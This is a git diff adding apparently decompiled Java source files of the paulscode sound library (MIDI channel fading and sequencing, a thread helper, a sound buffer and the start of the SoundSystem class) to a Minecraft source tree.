+      float fadeOutReduction = (float)milisPast / (float)fadeOutMilis;
+      
+      fadeOutGain -= fadeOutReduction;
+      if (fadeOutGain <= 0.0F)
+      {
+        fadeOutGain = -1.0F;
+        fadeInGain = 0.0F;
+        if (!incrementSequence())
+          stop();
+        rewind();
+        resetGain();
+        return false;
+      }
+      
+      resetGain();
+      return true;
+    }
+    
+    if (fadeInGain < 1.0F)
+    {
+      fadeOutGain = -1.0F;
+      if (fadeInMilis == 0L)
+      {
+        fadeOutGain = -1.0F;
+        fadeInGain = 1.0F;
+      }
+      else
+      {
+        float fadeInIncrease = (float)milisPast / (float)fadeInMilis;
+        fadeInGain += fadeInIncrease;
+        if (fadeInGain >= 1.0F)
+        {
+          fadeOutGain = -1.0F;
+          fadeInGain = 1.0F;
+        }
+      }
+      resetGain();
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  private boolean incrementSequence()
+  {
+    synchronized (sequenceQueueLock)
+    {
+
+      if ((sequenceQueue != null) && (sequenceQueue.size() > 0))
+      {
+
+        filenameURL(true, (FilenameURL)sequenceQueue.remove(0));
+        
+
+        loading(true, true);
+        
+
+        if (sequencer == null)
+        {
+
+          getSequencer();
+
+        }
+        else
+        {
+          sequencer.stop();
+          
+          sequencer.setMicrosecondPosition(0L);
+          
+          sequencer.removeMetaEventListener(this);
+          try {
+            Thread.sleep(100L);
+          } catch (InterruptedException e) {}
+        }
+        if (sequencer == null)
+        {
+          errorMessage("Unable to set the sequence in method 'incrementSequence', because there wasn't a sequencer to use.");
+          
+
+
+
+          loading(true, false);
+          
+
+          return false;
+        }
+        
+        setSequence(filenameURL(false, null).getURL());
+        
+        sequencer.start();
+        
+
+        resetGain();
+        
+        sequencer.addMetaEventListener(this);
+        
+
+        loading(true, false);
+        
+
+        return true;
+      }
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public void play()
+  {
+    if (!loading())
+    {
+
+      if (sequencer == null) {
+        return;
+      }
+      
+      try
+      {
+        sequencer.start();
+        
+        sequencer.addMetaEventListener(this);
+      }
+      catch (Exception e)
+      {
+        errorMessage("Exception in method 'play'");
+        printStackTrace(e);
+        SoundSystemException sse = new SoundSystemException(e.getMessage());
+        
+        SoundSystem.setException(sse);
+      }
+    }
+  }
+  
+
+
+
+  public void stop()
+  {
+    if (!loading())
+    {
+
+      if (sequencer == null) {
+        return;
+      }
+      
+      try
+      {
+        sequencer.stop();
+        
+        sequencer.setMicrosecondPosition(0L);
+        
+        sequencer.removeMetaEventListener(this);
+      }
+      catch (Exception e)
+      {
+        errorMessage("Exception in method 'stop'");
+        printStackTrace(e);
+        SoundSystemException sse = new SoundSystemException(e.getMessage());
+        
+        SoundSystem.setException(sse);
+      }
+    }
+  }
+  
+
+
+
+  public void pause()
+  {
+    if (!loading())
+    {
+
+      if (sequencer == null) {
+        return;
+      }
+      
+      try
+      {
+        sequencer.stop();
+      }
+      catch (Exception e)
+      {
+        errorMessage("Exception in method 'pause'");
+        printStackTrace(e);
+        SoundSystemException sse = new SoundSystemException(e.getMessage());
+        
+        SoundSystem.setException(sse);
+      }
+    }
+  }
+  
+
+
+
+  public void rewind()
+  {
+    if (!loading())
+    {
+
+      if (sequencer == null) {
+        return;
+      }
+      
+      try
+      {
+        sequencer.setMicrosecondPosition(0L);
+      }
+      catch (Exception e)
+      {
+        errorMessage("Exception in method 'rewind'");
+        printStackTrace(e);
+        SoundSystemException sse = new SoundSystemException(e.getMessage());
+        
+        SoundSystem.setException(sse);
+      }
+    }
+  }
+  
+
+
+
+
+  public void setVolume(float value)
+  {
+    gain = value;
+    resetGain();
+  }
+  
+
+
+
+
+  public float getVolume()
+  {
+    return gain;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void switchSource(boolean toLoop, String sourcename, String filename)
+  {
+    loading(true, true);
+    
+
+    filenameURL(true, new FilenameURL(filename));
+    sourcename(true, sourcename);
+    setLooping(toLoop);
+    
+    reset();
+    
+
+    loading(true, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void switchSource(boolean toLoop, String sourcename, URL midiFile, String identifier)
+  {
+    loading(true, true);
+    
+
+    filenameURL(true, new FilenameURL(midiFile, identifier));
+    sourcename(true, sourcename);
+    setLooping(toLoop);
+    
+    reset();
+    
+
+    loading(true, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void switchSource(boolean toLoop, String sourcename, FilenameURL filenameURL)
+  {
+    loading(true, true);
+    
+
+    filenameURL(true, filenameURL);
+    sourcename(true, sourcename);
+    setLooping(toLoop);
+    
+    reset();
+    
+
+    loading(true, false);
+  }
+  
+
+
+
+  private void reset()
+  {
+    synchronized (sequenceQueueLock)
+    {
+      if (sequenceQueue != null) {
+        sequenceQueue.clear();
+      }
+    }
+    
+    if (sequencer == null)
+    {
+
+      getSequencer();
+
+    }
+    else
+    {
+      sequencer.stop();
+      
+      sequencer.setMicrosecondPosition(0L);
+      
+      sequencer.removeMetaEventListener(this);
+      try {
+        Thread.sleep(100L);
+      } catch (InterruptedException e) {}
+    }
+    if (sequencer == null)
+    {
+      errorMessage("Unable to set the sequence in method 'reset', because there wasn't a sequencer to use.");
+      
+
+      return;
+    }
+    
+
+    setSequence(filenameURL(false, null).getURL());
+    
+    sequencer.start();
+    
+
+    resetGain();
+    
+    sequencer.addMetaEventListener(this);
+  }
+  
+
+
+
+
+  public void setLooping(boolean value)
+  {
+    toLoop(true, value);
+  }
+  
+
+
+
+
+  public boolean getLooping()
+  {
+    return toLoop(false, false);
+  }
+  
+
+
+
+
+
+
+  private synchronized boolean toLoop(boolean action, boolean value)
+  {
+    if (action == true)
+      toLoop = value;
+    return toLoop;
+  }
+  
+
+
+
+  public boolean loading()
+  {
+    return loading(false, false);
+  }
+  
+
+
+
+
+
+
+  private synchronized boolean loading(boolean action, boolean value)
+  {
+    if (action == true)
+      loading = value;
+    return loading;
+  }
+  
+
+
+
+
+  public void setSourcename(String value)
+  {
+    sourcename(true, value);
+  }
+  
+
+
+
+
+  public String getSourcename()
+  {
+    return sourcename(false, null);
+  }
+  
+
+
+
+
+
+
+  private synchronized String sourcename(boolean action, String value)
+  {
+    if (action == true)
+      sourcename = value;
+    return sourcename;
+  }
+  
+
+
+
+
+  public void setFilenameURL(FilenameURL value)
+  {
+    filenameURL(true, value);
+  }
+  
+
+
+
+
+  public String getFilename()
+  {
+    return filenameURL(false, null).getFilename();
+  }
+  
+
+
+
+
+  public FilenameURL getFilenameURL()
+  {
+    return filenameURL(false, null);
+  }
+  
+
+
+
+
+
+
+
+  private synchronized FilenameURL filenameURL(boolean action, FilenameURL value)
+  {
+    if (action == true)
+      filenameURL = value;
+    return filenameURL;
+  }
+  
+
+
+
+
+  public void meta(MetaMessage message)
+  {
+    if (message.getType() == 47)
+    {
+
+      SoundSystemConfig.notifyEOS(sourcename, sequenceQueue.size());
+      
+
+      if (toLoop)
+      {
+
+
+        if (!checkFadeOut())
+        {
+
+
+          if (!incrementSequence())
+          {
+            try
+            {
+
+              sequencer.setMicrosecondPosition(0L);
+              sequencer.start();
+              
+              resetGain();
+            }
+            catch (Exception e) {}
+          }
+        }
+        else if (sequencer != null)
+        {
+          try
+          {
+
+            sequencer.setMicrosecondPosition(0L);
+            sequencer.start();
+            
+            resetGain();
+
+          }
+          catch (Exception e) {}
+        }
+        
+
+      }
+      else if (!checkFadeOut())
+      {
+        if (!incrementSequence())
+        {
+          try
+          {
+
+            sequencer.stop();
+            
+            sequencer.setMicrosecondPosition(0L);
+            
+            sequencer.removeMetaEventListener(this);
+
+          }
+          catch (Exception e) {}
+        }
+        
+      }
+      else {
+        try
+        {
+          sequencer.stop();
+          
+          sequencer.setMicrosecondPosition(0L);
+          
+          sequencer.removeMetaEventListener(this);
+        }
+        catch (Exception e) {}
+      }
+    }
+  }
+  
+
+
+
+
+
+  public void resetGain()
+  {
+    if (gain < 0.0F)
+      gain = 0.0F;
+    if (gain > 1.0F) {
+      gain = 1.0F;
+    }
+    int midiVolume = (int)(gain * SoundSystemConfig.getMasterGain() * Math.abs(fadeOutGain) * fadeInGain * 127.0F);
+    
+
+    if (synthesizer != null)
+    {
+      javax.sound.midi.MidiChannel[] channels = synthesizer.getChannels();
+      for (int c = 0; (channels != null) && (c < channels.length); c++)
+      {
+        channels[c].controlChange(7, midiVolume);
+      }
+    }
+    else if (synthDevice != null)
+    {
+      try
+      {
+        ShortMessage volumeMessage = new ShortMessage();
+        for (int i = 0; i < 16; i++)
+        {
+          volumeMessage.setMessage(176, i, 7, midiVolume);
+          
+          synthDevice.getReceiver().send(volumeMessage, -1L);
+        }
+      }
+      catch (Exception e)
+      {
+        errorMessage("Error resetting gain on MIDI device");
+        printStackTrace(e);
+      }
+    }
+    else if ((sequencer != null) && ((sequencer instanceof Synthesizer)))
+    {
+      synthesizer = ((Synthesizer)sequencer);
+      javax.sound.midi.MidiChannel[] channels = synthesizer.getChannels();
+      for (int c = 0; (channels != null) && (c < channels.length); c++)
+      {
+        channels[c].controlChange(7, midiVolume);
+      }
+    }
+    else
+    {
+      try
+      {
+        Receiver receiver = MidiSystem.getReceiver();
+        ShortMessage volumeMessage = new ShortMessage();
+        for (int c = 0; c < 16; c++)
+        {
+          volumeMessage.setMessage(176, c, 7, midiVolume);
+          
+          receiver.send(volumeMessage, -1L);
+        }
+      }
+      catch (Exception e)
+      {
+        errorMessage("Error resetting gain on default receiver");
+        printStackTrace(e);
+      }
+    }
+  }
+  
+
+
+
+
+
+  private void getSequencer()
+  {
+    try
+    {
+      sequencer = MidiSystem.getSequencer();
+      if (sequencer != null)
+      {
+        try
+        {
+          sequencer.getTransmitter();
+        }
+        catch (MidiUnavailableException mue)
+        {
+          message("Unable to get a transmitter from the default MIDI sequencer");
+        }
+        
+        sequencer.open();
+      }
+    }
+    catch (MidiUnavailableException mue)
+    {
+      message("Unable to open the default MIDI sequencer");
+      sequencer = null;
+    }
+    catch (Exception e)
+    {
+      if ((e instanceof InterruptedException))
+      {
+        message("Caught InterruptedException while attempting to open the default MIDI sequencer.  Trying again.");
+        
+        sequencer = null;
+      }
+      try
+      {
+        sequencer = MidiSystem.getSequencer();
+        if (sequencer != null)
+        {
+          try
+          {
+            sequencer.getTransmitter();
+          }
+          catch (MidiUnavailableException mue)
+          {
+            message("Unable to get a transmitter from the default MIDI sequencer");
+          }
+          
+          sequencer.open();
+        }
+      }
+      catch (MidiUnavailableException mue)
+      {
+        message("Unable to open the default MIDI sequencer");
+        sequencer = null;
+      }
+      catch (Exception e2)
+      {
+        message("Unknown error opening the default MIDI sequencer");
+        sequencer = null;
+      }
+    }
+    
+    if (sequencer == null)
+      sequencer = openSequencer("Real Time Sequencer");
+    if (sequencer == null)
+      sequencer = openSequencer("Java Sound Sequencer");
+    if (sequencer == null)
+    {
+      errorMessage("Failed to find an available MIDI sequencer");
+      return;
+    }
+  }
+  
+
+
+
+
+
+
+  private void setSequence(URL midiSource)
+  {
+    if (sequencer == null)
+    {
+      errorMessage("Unable to update the sequence in method 'setSequence', because variable 'sequencer' is null");
+      
+
+      return;
+    }
+    
+    if (midiSource == null)
+    {
+      errorMessage("Unable to load Midi file in method 'setSequence'.");
+      return;
+    }
+    
+    try
+    {
+      sequence = MidiSystem.getSequence(midiSource);
+    }
+    catch (IOException ioe)
+    {
+      errorMessage("Input failed while reading from MIDI file in method 'setSequence'.");
+      
+      printStackTrace(ioe);
+      return;
+    }
+    catch (InvalidMidiDataException imde)
+    {
+      errorMessage("Invalid MIDI data encountered, or not a MIDI file in method 'setSequence' (1).");
+      
+      printStackTrace(imde);
+      return;
+    }
+    if (sequence == null)
+    {
+      errorMessage("MidiSystem 'getSequence' method returned null in method 'setSequence'.");
+    }
+    else
+    {
+      try
+      {
+
+        sequencer.setSequence(sequence);
+      }
+      catch (InvalidMidiDataException imde)
+      {
+        errorMessage("Invalid MIDI data encountered, or not a MIDI file in method 'setSequence' (2).");
+        
+        printStackTrace(imde);
+        return;
+      }
+      catch (Exception e)
+      {
+        errorMessage("Problem setting sequence from MIDI file in method 'setSequence'.");
+        
+        printStackTrace(e);
+        return;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  private void getSynthesizer()
+  {
+    if (sequencer == null)
+    {
+      errorMessage("Unable to load a Synthesizer in method 'getSynthesizer', because variable 'sequencer' is null");
+      
+
+      return;
+    }
+    
+
+    String overrideMIDISynthesizer = SoundSystemConfig.getOverrideMIDISynthesizer();
+    
+    if ((overrideMIDISynthesizer != null) && (!overrideMIDISynthesizer.equals("")))
+    {
+
+
+      synthDevice = openMidiDevice(overrideMIDISynthesizer);
+      
+      if (synthDevice != null)
+      {
+        try
+        {
+
+          sequencer.getTransmitter().setReceiver(synthDevice.getReceiver());
+          
+
+          return;
+
+        }
+        catch (MidiUnavailableException mue)
+        {
+          errorMessage("Unable to link sequencer transmitter with receiver for MIDI device '" + overrideMIDISynthesizer + "'");
+        }
+      }
+    }
+    
+
+
+
+
+
+    if ((sequencer instanceof Synthesizer))
+    {
+      synthesizer = ((Synthesizer)sequencer);
+
+    }
+    else
+    {
+      try
+      {
+        synthesizer = MidiSystem.getSynthesizer();
+        synthesizer.open();
+      }
+      catch (MidiUnavailableException mue)
+      {
+        message("Unable to open the default synthesizer");
+        synthesizer = null;
+      }
+      
+
+      if (synthesizer == null)
+      {
+
+        synthDevice = openMidiDevice("Java Sound Synthesizer");
+        if (synthDevice == null)
+          synthDevice = openMidiDevice("Microsoft GS Wavetable");
+        if (synthDevice == null)
+          synthDevice = openMidiDevice("Gervill");
+        if (synthDevice == null)
+        {
+
+          errorMessage("Failed to find an available MIDI synthesizer");
+          
+          return;
+        }
+      }
+      
+
+      if (synthesizer == null)
+      {
+        try
+        {
+
+          sequencer.getTransmitter().setReceiver(synthDevice.getReceiver());
+
+        }
+        catch (MidiUnavailableException mue)
+        {
+          errorMessage("Unable to link sequencer transmitter with MIDI device receiver");
+
+
+        }
+        
+
+      }
+      else if (synthesizer.getDefaultSoundbank() == null)
+      {
+        try
+        {
+
+          sequencer.getTransmitter().setReceiver(MidiSystem.getReceiver());
+
+        }
+        catch (MidiUnavailableException mue)
+        {
+          errorMessage("Unable to link sequencer transmitter with default receiver");
+        }
+        
+      }
+      else
+      {
+        try
+        {
+
+          sequencer.getTransmitter().setReceiver(synthesizer.getReceiver());
+
+        }
+        catch (MidiUnavailableException mue)
+        {
+          errorMessage("Unable to link sequencer transmitter with synthesizer receiver");
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private Sequencer openSequencer(String containsString)
+  {
+    Sequencer s = null;
+    s = (Sequencer)openMidiDevice(containsString);
+    if (s == null) {
+      return null;
+    }
+    try {
+      s.getTransmitter();
+    }
+    catch (MidiUnavailableException mue)
+    {
+      message("    Unable to get a transmitter from this sequencer");
+      s = null;
+      return null;
+    }
+    
+    return s;
+  }
+  
+
+
+
+
+
+
+  private MidiDevice openMidiDevice(String containsString)
+  {
+    message("Searching for MIDI device with name containing '" + containsString + "'");
+    
+    MidiDevice device = null;
+    MidiDevice.Info[] midiDevices = MidiSystem.getMidiDeviceInfo();
+    for (int i = 0; i < midiDevices.length; i++)
+    {
+      device = null;
+      try
+      {
+        device = MidiSystem.getMidiDevice(midiDevices[i]);
+      }
+      catch (MidiUnavailableException e)
+      {
+        message("    Problem in method 'getMidiDevice':  MIDIUnavailableException was thrown");
+        
+        device = null;
+      }
+      if ((device != null) && (midiDevices[i].getName().contains(containsString)))
+      {
+
+        message("    Found MIDI device named '" + midiDevices[i].getName() + "'");
+        
+        if ((device instanceof Synthesizer))
+          message("        *this is a Synthesizer instance");
+        if ((device instanceof Sequencer)) {
+          message("        *this is a Sequencer instance");
+        }
+        try {
+          device.open();
+        }
+        catch (MidiUnavailableException mue)
+        {
+          message("    Unable to open this MIDI device");
+          device = null;
+        }
+        return device;
+      }
+    }
+    message("    MIDI device not found");
+    return null;
+  }
+  
+
+
+
+
+  protected void message(String message)
+  {
+    logger.message(message, 0);
+  }
+  
+
+
+
+
+  protected void importantMessage(String message)
+  {
+    logger.importantMessage(message, 0);
+  }
+  
+
+
+
+
+
+
+  protected boolean errorCheck(boolean error, String message)
+  {
+    return logger.errorCheck(error, "MidiChannel", message, 0);
+  }
+  
+
+
+
+
+  protected void errorMessage(String message)
+  {
+    logger.errorMessage("MidiChannel", message, 0);
+  }
+  
+
+
+
+
+  protected void printStackTrace(Exception e)
+  {
+    logger.printStackTrace(e, 1);
+  }
+  
+
+
+
+  private class FadeThread
+    extends SimpleThread
+  {
+    private FadeThread() {}
+    
+
+
+
+    public void run()
+    {
+      while (!dying())
+      {
+
+        if ((fadeOutGain == -1.0F) && (fadeInGain == 1.0F))
+          snooze(3600000L);
+        MidiChannel.this.checkFadeOut();
+        
+        snooze(50L);
+      }
+      
+      cleanup();
+    }
+  }
+}
diff --git a/src/minecraft/paulscode/sound/SimpleThread.java b/src/minecraft/paulscode/sound/SimpleThread.java
new file mode 100644
index 0000000..aa3996b
--- /dev/null
+++ b/src/minecraft/paulscode/sound/SimpleThread.java
@@ -0,0 +1,200 @@
+package paulscode.sound;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SimpleThread
+  extends Thread
+{
+  private static final boolean GET = false;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final boolean SET = true;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final boolean XXX = false;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean alive = true;
+  
+
+
+
+  private boolean kill = false;
+  
+
+
+
+  public SimpleThread() {}
+  
+
+
+  protected void cleanup()
+  {
+    kill(true, true);
+    alive(true, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void run()
+  {
+    cleanup();
+  }
+  
+
+
+
+
+  public void restart()
+  {
+    new Thread()
+    {
+
+      public void run()
+      {
+        SimpleThread.this.rerun();
+      }
+    }.start();
+  }
+  
+
+
+
+  private void rerun()
+  {
+    kill(true, true);
+    while (alive(false, false))
+    {
+      snooze(100L);
+    }
+    alive(true, true);
+    kill(true, false);
+    run();
+  }
+  
+
+
+
+
+
+  public boolean alive()
+  {
+    return alive(false, false);
+  }
+  
+
+
+
+
+  public void kill()
+  {
+    kill(true, true);
+  }
+  
+
+
+
+
+  protected boolean dying()
+  {
+    return kill(false, false);
+  }
+  
+
+
+
+
+
+
+  private synchronized boolean alive(boolean action, boolean value)
+  {
+    if (action == true)
+      alive = value;
+    return alive;
+  }
+  
+
+
+
+
+
+
+  private synchronized boolean kill(boolean action, boolean value)
+  {
+    if (action == true)
+      kill = value;
+    return kill;
+  }
+  
+
+
+
+  protected void snooze(long milliseconds)
+  {
+    try
+    {
+      Thread.sleep(milliseconds);
+    }
+    catch (InterruptedException e) {}
+  }
+}
diff --git a/src/minecraft/paulscode/sound/SoundBuffer.java b/src/minecraft/paulscode/sound/SoundBuffer.java
new file mode 100644
index 0000000..81ebe7e
--- /dev/null
+++ b/src/minecraft/paulscode/sound/SoundBuffer.java
@@ -0,0 +1,91 @@
+package paulscode.sound;
+
+import javax.sound.sampled.AudioFormat;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SoundBuffer
+{
+  public byte[] audioData;
+  public AudioFormat audioFormat;
+  
+  public SoundBuffer(byte[] audioData, AudioFormat audioFormat)
+  {
+    this.audioData = audioData;
+    this.audioFormat = audioFormat;
+  }
+  
+
+
+
+  public void cleanup()
+  {
+    audioData = null;
+    audioFormat = null;
+  }
+  
+
+
+
+
+
+
+  public void trimData(int maxLength)
+  {
+    if ((audioData == null) || (maxLength == 0)) {
+      audioData = null;
+    } else if (audioData.length > maxLength)
+    {
+      byte[] trimmedArray = new byte[maxLength];
+      System.arraycopy(audioData, 0, trimmedArray, 0, maxLength);
+      
+      audioData = trimmedArray;
+    }
+  }
+}
diff --git a/src/minecraft/paulscode/sound/SoundSystem.java b/src/minecraft/paulscode/sound/SoundSystem.java
new file mode 100644
index 0000000..f8569fd
--- /dev/null
+++ b/src/minecraft/paulscode/sound/SoundSystem.java
@@ -0,0 +1,2895 @@
+package paulscode.sound;
+
+import java.net.URL;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Random;
+import java.util.Set;
+import javax.sound.sampled.AudioFormat;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SoundSystem
+{
+  private static final boolean GET = false;
+  private static final boolean SET = true;
+  private static final boolean XXX = false;
+  protected SoundSystemLogger logger;
+  protected Library soundLibrary;
+  protected List<CommandObject> commandQueue;
+  private List<CommandObject> sourcePlayList;
+  protected CommandThread commandThread;
+  public Random randomNumberGenerator;
+  protected String className = "SoundSystem";
+  
+
+
+
+  private static Class currentLibrary = null;
+  
+
+
+
+  private static boolean initialized = false;
+  
+
+
+
+  private static SoundSystemException lastException = null;
+  
+
+
+
+
+
+
+
+
+  public SoundSystem()
+  {
+    logger = SoundSystemConfig.getLogger();
+    
+    if (logger == null)
+    {
+      logger = new SoundSystemLogger();
+      SoundSystemConfig.setLogger(logger);
+    }
+    
+    linkDefaultLibrariesAndCodecs();
+    
+    LinkedList<Class> libraries = SoundSystemConfig.getLibraries();
+    
+    if (libraries != null)
+    {
+      ListIterator<Class> i = libraries.listIterator();
+      
+      while (i.hasNext())
+      {
+        Class c = (Class)i.next();
+        try
+        {
+          init(c);
+          return;
+        }
+        catch (SoundSystemException sse)
+        {
+          logger.printExceptionMessage(sse, 1);
+        }
+      }
+    }
+    try
+    {
+      init(Library.class);
+      return;
+    }
+    catch (SoundSystemException sse)
+    {
+      logger.printExceptionMessage(sse, 1);
+    }
+  }
+  
+
+
+
+
+
+
+  public SoundSystem(Class libraryClass)
+    throws SoundSystemException
+  {
+    logger = SoundSystemConfig.getLogger();
+    
+    if (logger == null)
+    {
+      logger = new SoundSystemLogger();
+      SoundSystemConfig.setLogger(logger);
+    }
+    linkDefaultLibrariesAndCodecs();
+    
+    init(libraryClass);
+  }
+  
+
+
+
+
+
+
+
+
+  protected void linkDefaultLibrariesAndCodecs() {}
+  
+
+
+
+
+
+
+
+
+  protected void init(Class libraryClass)
+    throws SoundSystemException
+  {
+    message("", 0);
+    message("Starting up " + className + "...", 0);
+    
+
+    randomNumberGenerator = new Random();
+    
+    commandQueue = new LinkedList();
+    
+    sourcePlayList = new LinkedList();
+    
+
+    commandThread = new CommandThread(this);
+    commandThread.start();
+    
+    snooze(200L);
+    
+    newLibrary(libraryClass);
+    message("", 0);
+  }
+  
+
+
+
+
+  public void cleanup()
+  {
+    boolean killException = false;
+    message("", 0);
+    message(className + " shutting down...", 0);
+    
+
+    try
+    {
+      commandThread.kill();
+      commandThread.interrupt();
+    }
+    catch (Exception e)
+    {
+      killException = true;
+    }
+    
+    if (!killException)
+    {
+
+      for (int i = 0; i < 50; i++)
+      {
+        if (!commandThread.alive())
+          break;
+        snooze(100L);
+      }
+    }
+    
+
+    if ((killException) || (commandThread.alive()))
+    {
+      errorMessage("Command thread did not die!", 0);
+      message("Ignoring errors... continuing clean-up.", 0);
+    }
+    
+    initialized(true, false);
+    currentLibrary(true, null);
+    
+    try
+    {
+      if (soundLibrary != null) {
+        soundLibrary.cleanup();
+      }
+    }
+    catch (Exception e) {
+      errorMessage("Problem during Library.cleanup()!", 0);
+      message("Ignoring errors... continuing clean-up.", 0);
+    }
+    
+
+    try
+    {
+      if (commandQueue != null) {
+        commandQueue.clear();
+      }
+    }
+    catch (Exception e) {
+      errorMessage("Unable to clear the command queue!", 0);
+      message("Ignoring errors... continuing clean-up.", 0);
+    }
+    
+
+    try
+    {
+      if (sourcePlayList != null) {
+        sourcePlayList.clear();
+      }
+    }
+    catch (Exception e) {
+      errorMessage("Unable to clear the source management list!", 0);
+      message("Ignoring errors... continuing clean-up.", 0);
+    }
+    
+
+    randomNumberGenerator = null;
+    soundLibrary = null;
+    commandQueue = null;
+    sourcePlayList = null;
+    commandThread = null;
+    
+    importantMessage("Author: Paul Lamb, www.paulscode.com", 1);
+    message("", 0);
+  }
+  
+
+
+
+
+
+
+
+  public void interruptCommandThread()
+  {
+    if (commandThread == null)
+    {
+      errorMessage("Command Thread null in method 'interruptCommandThread'", 0);
+      
+      return;
+    }
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void loadSound(String filename)
+  {
+    CommandQueue(new CommandObject(2, new FilenameURL(filename)));
+    
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void loadSound(URL url, String identifier)
+  {
+    CommandQueue(new CommandObject(2, new FilenameURL(url, identifier)));
+    
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void loadSound(byte[] data, AudioFormat format, String identifier)
+  {
+    CommandQueue(new CommandObject(3, identifier, new SoundBuffer(data, format)));
+    
+
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void unloadSound(String filename)
+  {
+    CommandQueue(new CommandObject(4, filename));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void queueSound(String sourcename, String filename)
+  {
+    CommandQueue(new CommandObject(5, sourcename, new FilenameURL(filename)));
+    
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void queueSound(String sourcename, URL url, String identifier)
+  {
+    CommandQueue(new CommandObject(5, sourcename, new FilenameURL(url, identifier)));
+    
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+  public void dequeueSound(String sourcename, String filename)
+  {
+    CommandQueue(new CommandObject(6, sourcename, filename));
+    
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void fadeOut(String sourcename, String filename, long milis)
+  {
+    FilenameURL fu = null;
+    if (filename != null) {
+      fu = new FilenameURL(filename);
+    }
+    CommandQueue(new CommandObject(7, sourcename, fu, milis));
+    
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void fadeOut(String sourcename, URL url, String identifier, long milis)
+  {
+    FilenameURL fu = null;
+    if ((url != null) && (identifier != null)) {
+      fu = new FilenameURL(url, identifier);
+    }
+    CommandQueue(new CommandObject(7, sourcename, fu, milis));
+    
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void fadeOutIn(String sourcename, String filename, long milisOut, long milisIn)
+  {
+    CommandQueue(new CommandObject(8, sourcename, new FilenameURL(filename), milisOut, milisIn));
+    
+
+
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void fadeOutIn(String sourcename, URL url, String identifier, long milisOut, long milisIn)
+  {
+    CommandQueue(new CommandObject(8, sourcename, new FilenameURL(url, identifier), milisOut, milisIn));
+    
+
+
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void checkFadeVolumes()
+  {
+    CommandQueue(new CommandObject(9));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void backgroundMusic(String sourcename, String filename, boolean toLoop)
+  {
+    CommandQueue(new CommandObject(12, true, true, toLoop, sourcename, new FilenameURL(filename), 0.0F, 0.0F, 0.0F, 0, 0.0F, false));
+    
+
+
+    CommandQueue(new CommandObject(24, sourcename));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void backgroundMusic(String sourcename, URL url, String identifier, boolean toLoop)
+  {
+    CommandQueue(new CommandObject(12, true, true, toLoop, sourcename, new FilenameURL(url, identifier), 0.0F, 0.0F, 0.0F, 0, 0.0F, false));
+    
+
+
+
+
+    CommandQueue(new CommandObject(24, sourcename));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void newSource(boolean priority, String sourcename, String filename, boolean toLoop, float x, float y, float z, int attmodel, float distOrRoll)
+  {
+    CommandQueue(new CommandObject(10, priority, false, toLoop, sourcename, new FilenameURL(filename), x, y, z, attmodel, distOrRoll));
+    
+
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void newSource(boolean priority, String sourcename, URL url, String identifier, boolean toLoop, float x, float y, float z, int attmodel, float distOrRoll)
+  {
+    CommandQueue(new CommandObject(10, priority, false, toLoop, sourcename, new FilenameURL(url, identifier), x, y, z, attmodel, distOrRoll));
+    
+
+
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void newStreamingSource(boolean priority, String sourcename, String filename, boolean toLoop, float x, float y, float z, int attmodel, float distOrRoll)
+  {
+    CommandQueue(new CommandObject(10, priority, true, toLoop, sourcename, new FilenameURL(filename), x, y, z, attmodel, distOrRoll));
+    
+
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void newStreamingSource(boolean priority, String sourcename, URL url, String identifier, boolean toLoop, float x, float y, float z, int attmodel, float distOrRoll)
+  {
